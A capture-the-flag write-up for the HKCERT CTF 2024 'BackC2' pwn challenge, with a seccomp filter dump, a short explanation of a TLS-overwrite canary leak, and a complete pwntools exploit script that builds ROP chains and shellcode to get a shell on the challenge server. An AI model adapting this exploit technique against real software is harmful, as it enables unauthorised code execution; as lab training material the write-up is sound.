☁️

HKCERT CTF 2024: BackC2(Pwn)

Buffer overflow in echo .
ssize_t __fastcall sub_1673(void *a1) { return read(0, a1, 0x1000uLL); }
it's within a child process with a separate thread, hijacking the tls (Thread-Local Storage) to leak the canary value can be considered.
line CODE JT JF K ================================= 0000: 0x20 0x00 0x00 0x00000004 A = arch 0001: 0x15 0x00 0x02 0xc000003e if (A != ARCH_X86_64) goto 0004 0002: 0x20 0x00 0x00 0x00000000 A = sys_number 0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005 0004: 0x06 0x00 0x00 0x00000000 return KILL 0005: 0x20 0x00 0x00 0x00000000 A = sys_number 0006: 0x15 0x00 0x01 0x00000000 if (A != read) goto 0008 0007: 0x06 0x00 0x00 0x7fff0000 return ALLOW 0008: 0x15 0x00 0x01 0x00000001 if (A != write) goto 0010 0009: 0x06 0x00 0x00 0x7fff0000 return ALLOW 0010: 0x15 0x00 0x01 0x0000003c if (A != exit) goto 0012 0011: 0x06 0x00 0x00 0x7fff0000 return ALLOW 0012: 0x15 0x00 0x01 0x00000066 if (A != getuid) goto 0014 0013: 0x06 0x00 0x00 0x7fff0000 return ALLOW 0014: 0x15 0x00 0x01 0x0000004f if (A != getcwd) goto 0016 0015: 0x06 0x00 0x00 0x7fff0000 return ALLOW 0016: 0x15 0x00 0x01 0x00000009 if (A != mmap) goto 0018 0017: 0x06 0x00 0x00 0x7fff0000 return ALLOW 0018: 0x15 0x00 0x01 0x0000000a if (A != mprotect) goto 0020 0019: 0x06 0x00 0x00 0x7fff0000 return ALLOW 0020: 0x15 0x00 0x01 0x000000e6 if (A != clock_nanosleep) goto 0022 0021: 0x06 0x00 0x00 0x7fff0000 return ALLOW 0022: 0x06 0x00 0x00 0x00000000 return KILL
The child thread permits the system calls listed above. My approach is to use buffer overflow to overwrite the tls and leak the canary value.
At the same time, request a block of rwx memory, write the shellcode in memory to simulate the original work of the child thread, and then directly build the ROP chain for the attack.
Exploit:
from pwn import * elf=ELF('./pwn') # r=process('./pwn') r=remote('c50-black-c2.hkcert24.pwnable.hk', 1337,ssl=True) libc=ELF('./libc.so.6') context.log_level='debug' context.terminal=['tmux','splitw','-h'] context.arch='amd64' # pause() r.recvuntil(b'Enter command (banner, getuid, pwd, echo, exit):') r.sendline(b'echo') r.recvuntil(b'[+] Waiting Child') r.sendline(b'a' * 0xff) r.recvuntil(b'a'*0xff) r.recvline() libc_addr = u64(r.recv(6).ljust(8, b'\\x00')) print(hex(libc_addr)) rbp = libc_addr - 0x7f0 any_write = 0x910 + 0x10 over_canary = 0x910 + 0x28 # pause() r.recvuntil(b'Enter command (banner, getuid, pwd, echo, exit):') r.sendline(b'echo') libc_base = libc_addr + 0x39c0 print(hex(libc_base)) canary = 0x196082 real_canary_addr = libc_addr + 0x1128 mmap_addr = libc_base + libc.sym['mmap'] read_addr = libc_base + libc.sym['read'] write_addr = libc_base + libc.sym['write'] sleep_addr = libc_base + libc.sym['sleep'] system_addr = libc_base + libc.sym['system'] bin_sh_addr = libc_base + next(libc.search(b'/bin/sh')) pop_rdi = libc_base + 0x000000000002a3e5 pop_rsi = libc_base + 0x000000000002be51 pop_rdx = libc_base + 0x00000000000796a2 pop_rcx = libc_base + 0x000000000003d1ee pop_rax = libc_base + 0x0000000000045eb0 pop_r8 = libc_base + 0x00000000001657f6 magic_gadget = libc_base + 0x00000000000bfc60 magic_gadget2 = libc_base + 0x00000000000bfc63 add_rdx_pop = libc_base + 0x0000000000055531 mov_r9_18_rax_10_call_rax = libc_base + 0x00000000000e72e5 pop4_ret = libc_base + 0x000000000011db7c r.recvuntil(b'[+] Waiting Child') payload = b'a' * 0x100 payload += flat(libc_addr, canary, rbp) payload += flat(pop_rdi, 1, pop_rsi, real_canary_addr, pop_rdx, 8, write_addr) # payload += flat(pop_rsi, libc_addr + 0x640, pop_rdi, libc_addr - 0x770, magic_gadget) # payload += flat(pop_r8, 0x26, add_rdx_pop, 0, magic_gadget2) payload += flat(pop_rdi, 0x196082000, pop_rsi, 0x1000, pop_rdx, 7, pop_rcx, 0x22, pop_r8, -1, mov_r9_18_rax_10_call_rax, 0, 0, pop4_ret, 0, mmap_addr) payload += flat(pop_rdi, 0x5, sleep_addr) payload += flat(pop_rdi, 0, pop_rsi, 0x196082000, pop_rdx, 0x1000, read_addr) payload += flat(0x196082000) payload = payload.ljust(any_write, b'\\x00') + flat(libc_addr - 0x1000) payload = payload.ljust(over_canary, b'\\x00') + flat(canary) r.send(payload) r.recvuntil(b'\\x00') real_canary = u64(r.recv(7).rjust(8, b'\\x00')) print(hex(real_canary)) # pause() payload = flat(b'a' * 0x108, real_canary, 0, pop_rdi, bin_sh_addr, libc_base + 0x0000000000029139, system_addr) count = len(payload) r.sendline(b'exit') sleep(10) shellcode = b'' shellcode += asm(f'mov rdi, 3') shellcode += asm(f'mov rsi, {libc_addr}') shellcode += asm(f'mov rdx, 0x64') shellcode += asm(f'mov rax, {read_addr}') shellcode += asm(f'call rax') shellcode += asm(f'mov rdi, 6') shellcode += asm(f'mov rsi, {0x196082000 + 0x100}') shellcode += asm(f'mov rdx, 4') shellcode += asm(f'mov rax, {write_addr}') shellcode += asm(f'call rax') shellcode += asm(f'mov rdi, 6') shellcode += asm(f'mov rsi, {0x196082000 + 0x200}') shellcode += asm(f'mov rdx, {count}') shellcode += asm(f'mov rax, {write_addr}') shellcode += asm(f'call rax') final_payload = shellcode final_payload = final_payload.ljust(0x100, b'\\x00') + p32(count) final_payload = final_payload.ljust(0x200, b'\\x00') + payload r.sendline(final_payload) r.interactive()